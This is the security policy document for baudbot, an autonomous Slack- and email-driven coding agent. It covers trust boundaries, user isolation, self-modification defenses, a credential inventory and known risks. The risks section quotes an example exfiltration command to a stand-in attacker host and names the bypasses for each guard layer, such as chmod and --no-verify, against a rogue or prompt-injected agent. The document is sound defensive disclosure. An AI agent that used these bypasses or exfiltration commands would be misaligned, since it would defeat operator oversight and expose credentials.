Skip to content

Security: vltbaudbot/baudbot

Security

SECURITY.md

Security

For product overview and team workflow context, start with README.md. For architecture and operations docs, see docs/architecture.md and docs/operations.md.

Architecture: Release / Runtime Separation

root-managed releases
├── /opt/baudbot/releases/<sha>/ # immutable, git-free snapshots
├── /opt/baudbot/current -> <sha>
└── /opt/baudbot/previous -> <sha>
agent runtime (baudbot_agent)
├── ~/runtime/ # launcher + bridge + runtime scripts
├── ~/.pi/agent/ # deployed extensions/skills + memory + manifests
└── ~/workspace/ # repos + task worktrees

Live execution runs from deployed/runtime copies. baudbot update publishes a snapshot, deploys runtime files, validates health, then atomically flips current.

Live execution runs from release snapshots under /opt/baudbot.

Trust Boundaries

┌─────────────────────────────────────────────────────────────────┐
│ UNTRUSTED │
│ Slack messages, email body content, web-fetched content │
└──────────────────────────────┬──────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ BOUNDARY 1: Access Control │
│ Slack bridge: SLACK_ALLOWED_USERS allowlist │
│ Email: allowed senders + shared secret (BAUDBOT_SECRET) │
│ Content wrapping: external messages get security boundaries │
└──────────────────────────────┬──────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ BOUNDARY 2: OS User Isolation │
│ baudbot_agent (uid 1001) — separate home, no sudo │
│ In default hardened installs, admin home is not readable by agent (typically mode 700) │
│ Runtime executes from release snapshots under /opt/baudbot │
│ Docker only via wrapper (blocks --privileged, host mounts) │
└──────────────────────────────┬──────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ BOUNDARY 3: Network (if firewall applied) │
│ Outbound: HTTP/HTTPS/SSH/DNS only │
│ No reverse shells, raw sockets, or non-standard ports │
│ Localhost: bridge API, postgres, ollama │
└─────────────────────────────────────────────────────────────────┘

Self-Modification Defense

LayerWhatBypassed by
Immutable releasesRuntime deploys from git-free snapshots under /opt/baudbot/releases/<sha>, reducing direct source-tampering risk during live execution.Root access
File permissionsSecurity-critical runtime files deployed chmod a-w by deploy.sh. Hard OS-level boundary — blocks sed, python, any write mechanism.Root access or chmod u+w (which tool-guard blocks)
Tool-guard rulesPolicy/guidance layer: blocks many high-risk Edit/Write/bash patterns and returns safety-interruption reasoning. Not a hard sandbox; novel command patterns may bypass it.Novel bypass patterns; rely on OS file perms + runtime hardening for hard boundaries
Integrity checkssecurity-audit.sh compares runtime file hashes against deploy manifestNone (detection, not prevention)
Pre-commit hookBlocks git commit of protected files in the repository--no-verify (root-owned hook)

Primary hard boundaries are runtime permissions, user isolation, and release-based deployment. If local source isolation is also enforced, admin can re-deploy from source to restore expected state.

Important scope note: Many controls in this document are defense-in-depth and can be bypassed by a sufficiently capable or compromised rogue agent operating within its allowed user permissions. They are still valuable because they reduce accidental drift, surface tampering quickly, and help a non-compromised agent stay aligned with intended workflows.

User Model

UserRoleSudoGroups
<admin_user>Admin (human)(ALL) ALL, (baudbot_agent) NOPASSWD: ALL<admin_user>, wheel, docker, baudbot_agent
baudbot_agentAgent (automated)Only /usr/local/bin/baudbot-docker as rootbaudbot_agent

Admin → baudbot_agent access: The admin user is in the baudbot_agent group and has NOPASSWD: ALL as baudbot_agent via sudo. This is intentional for management. Run bin/harden-permissions.sh to ensure pi state files are owner-only (prevents passive group-level reads).

baudbot_agent → admin access: Expected to be none in default installs. This depends on host permissions (for example, admin home mode and group membership) remaining hardened.

Data Flows

Slack message (Socket Mode or broker pull mode)
→ bridge process (runs in baudbot_agent runtime)
→ content wrapping (security boundaries added)
→ control-agent (pi session)
→ creates todo + delegates to dev-agent in worktree
→ code/test/PR/CI loop
→ control-agent posts status via bridge local API (127.0.0.1:7890)
→ Slack thread reply

Credential Inventory

SecretLocationPermsPurpose
LLM API key(s)~/.config/.env600LLM API access (one or more of: ANTHROPIC_API_KEY, OPENAI_API_KEY, GEMINI_API_KEY, OPENCODE_ZEN_API_KEY)
GitHub OAuth token~/.config/gh/hosts.yml600gh CLI auth (via gh auth login)
AGENTMAIL_API_KEY~/.config/.env600AgentMail inbox access
KERNEL_API_KEY~/.config/.env600Kernel cloud browsers
BAUDBOT_SECRET~/.config/.env600Email authentication shared secret
SSH key~/.ssh/id_ed25519600Git push (agent GitHub account)
SLACK_BOT_TOKEN~/.config/.env600Slack bot OAuth token
SLACK_APP_TOKEN~/.config/.env600Slack Socket Mode token
SLACK_BROKER_* keys~/.config/.env600Broker pull-mode encryption/signing + workspace linkage

Deploy Workflow

# Source-only changes from local checkout
sudo baudbot deploy
# Operational update from git (recommended for live bot)
sudo baudbot update
# Roll back if needed
sudo baudbot rollback previous

Known Risks

Agent has unrestricted shell

Within its own user permissions, baudbot_agent can run any command. Tool-guard and the safe-bash wrapper are defense-in-depth policy layers that block many known-dangerous patterns, but they are not a complete containment boundary and prompt injection could attempt novel commands.

Agent can modify its own runtime files

The deployed copies of non-security files (bridge.mjs, skills, most extensions) are agent-writable by design. The agent could modify these. Security-critical files (tool-guard.ts, security.mjs) are write-protected at the filesystem level and monitored via integrity checks.

Agent has internet access

Even with port-based firewall rules, the agent can reach any host over HTTPS. Data exfiltration via curl https://attacker.com?data=... is possible.

Content wrapping is a soft defense

The <<<EXTERNAL_UNTRUSTED_CONTENT>>> boundaries and security notice ask the LLM to ignore injected instructions. This raises the bar but is not a hard security boundary.

Session logs are sensitive transcripts

Pi session logs (.jsonl files) contain full conversation transcripts for retained sessions. Baudbot now prunes old logs on startup (14-day retention) and redacts common secret patterns, but retained logs are still sensitive data and should stay owner-only (see bin/harden-permissions.sh).

Security Scripts

ScriptPurposeRun as
bin/security-audit.shCheck current security posture + integrity checksbaudbot_agent or admin
bin/deploy.shDeploy from source to runtime with correct permissionsroot or admin
bin/harden-permissions.shLock down pi state file permissionsbaudbot_agent
bin/prune-session-logs.shDelete old pi session transcripts (retention cleanup)baudbot_agent
bin/setup-firewall.shApply port-based network restrictionsroot

Reporting Vulnerabilities

Do not open a public GitHub issue for security vulnerabilities.

Instead, use GitHub Security Advisories to report privately. You can also email security@modem.dev.

We'll acknowledge reports within 48 hours and aim to release a fix within 7 days for critical issues.

There aren't any published security advisories